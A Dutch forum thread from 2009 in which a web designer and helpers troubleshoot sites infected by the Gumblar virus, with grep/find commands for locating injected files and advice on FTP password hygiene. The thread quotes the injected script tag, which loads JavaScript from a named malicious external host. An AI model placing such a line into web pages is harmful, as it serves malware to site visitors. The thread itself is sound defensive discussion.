virus op site?
27 oktober 2009 - 14:26    reactie #25
geplaatst door: Cailin Coilleach

Citaat
davidem om 18:16, 26-10-2009
Heb je telnet of ssh toegang naar de documentroot van je site? Als dat zo is, dan kan je heel simpel checken of een bepaald stukje tekst in een bestand staat, en helemaal makkelijk als alle html files in 1 directory staan. En wel met het volgende commandotje:

"grep keygenguru *"


Dat werkt alleen als de desbetreffende file in die directory staat. Dit werkt voor alle files in alle subdirectories:


find . -exec grep -i keygenguru {} \;

Run dat in de docroot van de desbetreffende website.

Daarnaast, ook...

Zoeken naar recent gewijzigde bestanden (laatste zeven dagen):


find . -mtime -7

Zoeken naar world-writable files en directories (beiden NIET gewenst)


find . -type f -perm -o+w
find . -type d -perm -o+w

(Bewerkt door Cailin Coilleach om 14:29, 27-10-2009)

virus op site?
27 oktober 2009 - 16:32    reactie #26
geplaatst door: applesien
Dit wordt voor mij een beetje abacadabra. Ik kan aardig htmllen en pik hier en daar wel eens een code of javascriptje op, maar SSH of telnet toegang?

En dat comando moet je dan in telnet of SSH invoeren? Zijn dat programma's of is dat een protocol? Wat heb ik nodig? :blink:

virus op site?
27 oktober 2009 - 16:44    reactie #27
geplaatst door: Cailin Coilleach
Telnet en SSH zijn protocollen waarmee je via de commandline in kan loggen op een ander systeem. Zelfs jouw Macje heeft een SSH server ingebouwd die je desgewenst aan kan zetten. SSH is de veiligste van de twee omdat die zowel je username+password als al het verkeer versleutelt. Telnet is eigenlijk (net als FTP) erg onveilig in dat opzicht; iedereen kan je afluisteren.

Om van SSH gebruik te maken moet je provider je eerst toegang geven tot SSH op je web server. Niet elke hoster doet dat omdat ze niet willen dat hun klanten op hun servers rommelen. Heb je een goede hoster dan heb je -wel- SSH toegang. Zo ja, dan heb je een username en password gekregen van je hoster dat hiervoor gebruikt kan worden.

Een SSH verbinding zet je als volgt op:


ssh username@server

Waarbij je "username" vervangt met, je raadt het al, je username en "server" met de naam van je server. Bijvoorbeeld cailin@www.voorbeeld.nl

Via SSH (of telnet) krijg je toegang tot de command line van je web server. Daar kan je inderdaad de commando's die we je gaven uitvoeren. Eerst moet je nog wel met het "cd" commando naar de juiste directory gaan.

Overigens kan je dit ook allemaal op je Mac doen, mits je eerst alle files van de webserver download. Dan kan je de commando's lokaal (zonder SSH) uitvoeren in de directory waar je alle files naartoe hebt gedownload.

virus op site?
27 oktober 2009 - 17:07    reactie #28
geplaatst door: applesien
Hmm ik geloof niet dat ik SSH toegang heb tot de server, maar ik zal de provider eens vragen. Lokaal oplossen is misschien net zo handig.

Maar ik blijf met een groot raadsel zitten:
Ondertussen lijkt het alsof veel van mijn sites besmet zijn. Ik krijg bij 80% van de sites zo'n blanco pagina. Ik heb nu de gemakkelijkste er uit gepikt. Die heeft alleen een index.htm en een jpeg.

http://floorste.nl/

Het beste is het probleem te reproduceren in firefox: Cookies verwijderen, site oproepen en eventueel refreshbutton 1 of 2 keer aanklikken. Als de  pagina blanco is dan is in de paginabron de code te zien die door het virus wordt gegenereerd.
In de index.html is echt helemaal niets te zien!? Verder zoeken kan toch niet?
De wanhoop slaat nu langzaam maar zeker wel toe.

virus op site?
27 oktober 2009 - 17:09    reactie #29
geplaatst door: applesien
En dit is wat de provider zegt:

Ik heb de code gezien, maar dat is niet de code van de server. Ondertussen weet ik al wat meer over het virus en de vorm die het heeft.

Op de server staat in de geinfecteerde sites een lijn zoals eerder beschreven en die haalt het javascript op van de site die in de link staat. Het script zelf staat dus niet op de server.

De pagina's op de sites worden geinfecteerd door het gumblar virus. Dat onderschept de ftp paswoorden en download dan alle bestanden en laad ze terug op met de code erin. meer uitleg over dit virus staat op

http://webwereld.nl/nieuws/58852/-gumblar-is-gevaarlijker-dan-conficker-.html

Als er meerdere sites zijn dan zal een pc die de ftp paswoorden heeft geinfecteerd zijn. De oplossing is een proces in meerdere stappen:

- maak alle pc's virusvrij
- pas de paswoorden aan van de ftp
- gebruik voortaan ftps om te ftp'en.

De server zelf heeft geen virus en de sites zijn niet gehacked. Op de site zijn de gevolgen van een virus te zien dat op een pc staat die gebruikt wordt om de site op te laden.

Die lijn waar hij het over heeft is:
<script src=http://express22.eco.coocan.jp/bana/hkysenri.php ></script>

(Bewerkt door applesien om 17:12, 27-10-2009)

virus op site?
27 oktober 2009 - 17:11    reactie #30
geplaatst door: Sjors
Is het mogelijk dat er een .htaccess bestand op de server staat met een mod_rewrite opdracht?

Voor wie het niet weet (kennisniveau verhaal), een bestand met een . (punt) aan het begin is onzichtbaar via FTP maar via de instellingen in je FTP cliënt kan je deze bestanden wel zichtbaar maken.

Het is mogelijk dat op die manier inhoud wordt weergegeven die niet in overeenkomst is met de feitelijke code in index.html. Soms wordt op die manier bijvoorbeeld een tekstbestand, geplaatst in een andere map (/images) getoond. Hackers maken regelmatig gebruik van deze methode om sites te verkl*ten.

Ik haat hackers. :yucky:

virus op site?
27 oktober 2009 - 17:16    reactie #31
geplaatst door: applesien
ftp client? Is dat dreamweaver? en hoe maak ik die bestanden dan zichtbaar?
virus op site?
27 oktober 2009 - 17:18    reactie #32
geplaatst door: Sjors
Gebruik je voor FTP toegang tot je domein een zogenaamde 'stand alone' client dan kan je daarvoor Cyberduck of RBrowsere gebruiken, beide zijn gratis. Als je met zo'n programma naar de map navigeert (werkt als een soort Finder) dan kan je d.m.v. de Voorkeuren de verborgen bestanden zichtbaar maken.
virus op site?
27 oktober 2009 - 17:33    reactie #33
geplaatst door: applesien
Dankjewel. Met cyberduck de hele directory doorgespit, maar hier geen verborgen bestanden gevonden. :confused:
virus op site?
27 oktober 2009 - 18:17    reactie #34
geplaatst door: Leander

Citaat
applesien om 17:09, 27-10-2009
En dit is wat de provider zegt:

Ik heb de code gezien, maar dat is niet de code van de server. Ondertussen weet ik al wat meer over het virus en de vorm die het heeft.

Op de server staat in de geinfecteerde sites een lijn zoals eerder beschreven en die haalt het javascript op van de site die in de link staat. Het script zelf staat dus niet op de server.

De pagina's op de sites worden geinfecteerd door het gumblar virus. Dat onderschept de ftp paswoorden en download dan alle bestanden en laad ze terug op met de code erin. meer uitleg over dit virus staat op

http://webwereld.nl/nieuws/58852/-gumblar-is-gevaarlijker-dan-conficker-.html

Als er meerdere sites zijn dan zal een pc die de ftp paswoorden heeft geinfecteerd zijn. De oplossing is een proces in meerdere stappen:

- maak alle pc's virusvrij
- pas de paswoorden aan van de ftp
- gebruik voortaan ftps om te ftp'en.

De server zelf heeft geen virus en de sites zijn niet gehacked. Op de site zijn de gevolgen van een virus te zien dat op een pc staat die gebruikt wordt om de site op te laden.

Die lijn waar hij het over heeft is:
<script src=http://express22.eco.coocan.jp/bana/hkysenri.php ></script>


(Bewerkt door applesien om 17:12, 27-10-2009)

In je laatste zin (na de dubbele punt) valt tekst weg:

Die lijn waar hij het over heeft is:
< script src=http://express22.eco.coocan.jp/bana/hkysenri.php ></script >

(ik heb even een spatie na de eerste "<" en vóór de laatste ">" gezet, waardoor het nu wel zichtbaar is.)

Ik begrijp niet goed wat je bedoelt, kan je iets duidelijker zijn? Is je site nu wel of niet geïnfecteerd?

Zit het virus misschien in de afbeelding "floor.jpg" ingesloten?
Om dit te testen even een nieuwe site maken met dezelfde "floor.jpg" die op de server staat?

virus op site?
27 oktober 2009 - 18:21    reactie #35
geplaatst door: Cailin Coilleach
Om de juiste file(s) te vinden kan je het grep commando hier boven aanpassen zodat je op "coocan" zoekt, wat onderdeel is van die script-aanroep.

(Bewerkt door Cailin Coilleach om 18:21, 27-10-2009)

virus op site?
27 oktober 2009 - 18:38    reactie #36
geplaatst door: Leander
Ik heb het linkje http://floorste.nl/ op mijn Mac met safari geopend...  :nervous:

Ik hoop niet dat ik nu tot één van de Eerste/Floorste behoor die een virus op de Mac oploopt.
Loop ik nu kans dat mijn Mac door dit javascript geïnfecteerd is?

Begrijp ik het goed dat het linkje wèl gevaarlijk om te openen op een Windows PC?
:cool:  

virus op site?
27 oktober 2009 - 18:48    reactie #37
geplaatst door: applesien
@ leander:
Of de site geïnfecteerd is? Het lijkt me wel, anders lijkt het mij onmogelijk dat anderen dezelfde blanco pagina met verborgen code in hun browser te voorschijn toveren.

@Cailin Coilleach
Hoe kan ik die commando's van jou lokaal uitvoeren?

virus op site?
27 oktober 2009 - 18:54    reactie #38
geplaatst door: Cailin Coilleach
1. Open Terminal
2. Type "cd "
3. Sleep de directory waar je de files naartoe hebt gedownload uit Finder naar je Terminal window. Het hele pad naar de directory verschijnt nu.
4. Duw op Enter

Doe nu de commando's die we hier boven gaven.

EDIT:
Als je iChat hebt met een AOL of Jabber account wil ik je ook wel via Screen Sharing helpen.

(Bewerkt door Cailin Coilleach om 18:55, 27-10-2009)

virus op site?
27 oktober 2009 - 19:18    reactie #39
geplaatst door: Leander

Citaat
applesien om 18:48, 27-10-2009
@ leander:
Of de site geïnfecteerd is? Het lijkt me wel, anders lijkt het mij onmogelijk dat anderen dezelfde blanco pagina met verborgen code in hun browser te voorschijn toveren.


Citaat
applesien om 17:09, 27-10-2009

...
Op de server staat in de geinfecteerde sites een lijn zoals eerder beschreven en die haalt het javascript op van de site die in de link staat. Het script zelf staat dus niet op de server.
...
De server zelf heeft geen virus en de sites zijn niet gehacked. Op de site zijn de gevolgen van een virus te zien dat op een pc staat die gebruikt wordt om de site op te laden.
...

Niet gehackt, wel geïnfecteerd? Dat begrijp ik niet.

virus op site?
27 oktober 2009 - 20:06    reactie #40
geplaatst door: Cailin Coilleach
Ik wel...

Het FTP wachtwoord is afgeluisterd dankzij een virus op een PC die toegang heeft tot de webserver. Via dit geleende (en dus strikt genomen niet gehackte) wachtwoord verschaft het virus zich toegang tot de webserver om de files aan te passen. De aanval is dus eigenlijk uitgevoerd met de PC als doel en niet de webserver.

virus op site?
27 oktober 2009 - 20:29    reactie #41
geplaatst door: applesien
TJee dat was me nog niet opgevallen, maar je hebt gelijk. Ik zal het weer eens neerleggen bij de provider. Zowieso praat hij wat onduidelijk. Ik begrijp niet heel goed wat er staat.
virus op site?
27 oktober 2009 - 20:31    reactie #42
geplaatst door: applesien
Maar welke pc dan? De enige pc waar alle wachtwoorden (versleuteld in dreamweaver) op staan is mijn mac. En macs zijn toch nog steeds vrij van virussen?

(Bewerkt door applesien om 20:32, 27-10-2009)

virus op site?
27 oktober 2009 - 20:34    reactie #43
geplaatst door: Sypie
Ja, maar dat wil niet zeggen dat ze niet gehackt/afgeluisterd kunnen worden...
virus op site?
27 oktober 2009 - 20:47    reactie #44
geplaatst door: Backspin
Je hoster zou in zijn logfiles moeten kunnen zien wanneer er bestanden via ftp zijn geupload naar je sites.
Aan de hand van die gegevens (tijdstip, welke bestanden) kun je wellicht vaststellen of jij die uploads zelf gedaan hebt of niet.
apple certified system administrator - http://www.backspin.nl
virus op site?
27 oktober 2009 - 20:49    reactie #45
geplaatst door: applesien
Oh  :blink: en hoe gaat dat dan in zijn werk? Hoe kan ik het voorkomen? Wat moet ik doen om die sites gedesinfecteerd te krijgen? Ik ben nu al twee dagen aan  het zoeken en posten, maar heb niet echt het gevoel dat ik iets ben opgeschoten.
Macs hebben geen virussen, maar kunnen wel gehackt worden? :wacko: En dan kunnen de versleuteld wachtwoorden uit Dreamweaver gestolen worden? Is het zo erg? Help
:slobber:
virus op site?
27 oktober 2009 - 21:13    reactie #46
geplaatst door: Backspin
Dat lijkt me erg onwaarschijnlijk, dat je mac gehacked is. Maar theoretisch nooit onmogelijk, natuurlijk.

Worden de geinfecteerde pagina's (weet je nu welke dit zijn?) telkens weer opnieuw geinfecteerd?
Is je site uberhaupt momenteel nog besmet?

apple certified system administrator - http://www.backspin.nl
virus op site?
27 oktober 2009 - 21:24    reactie #47
geplaatst door: Backspin
Oh, ik zie het al, de file introductie.html is inderdaad nog besmet. Kun je het bestand zoals dat op de server staat vergelijken met de versie die je lokaal hebt?
apple certified system administrator - http://www.backspin.nl
virus op site?
27 oktober 2009 - 21:28    reactie #48
geplaatst door: Cailin Coilleach
@ Sien:
Waar in NL werk/woon je? Eén van ons kan je misschien IRL komen helpen. En anders zoals gezegd iChat + Screen Sharing.

Enne, weet je zeker dat je klanten niet ook de passwords hebben voor het gebruik van FTP? Onder het motto: "wij moeten ook toegang hebben tot de files". Het kan best een van hun PCs zijn.

virus op site?
27 oktober 2009 - 21:31    reactie #49
geplaatst door: applesien
Het punt is dat ik daar geen enkel verschil tussen zie. De code is brandschoon. Het zijn maar een paar regeltjes. Er zijn geen verborgen bestanden te vinden. De jpeg zou mogelijk besmet zijn? Maar hoe is dat uit te zoeken. Met de search strings van Cailin Coilleach krijg ik alleen de melding "no such file or directory" en die site floorste.nl heeft echt alleen een index.htm en een jpeg.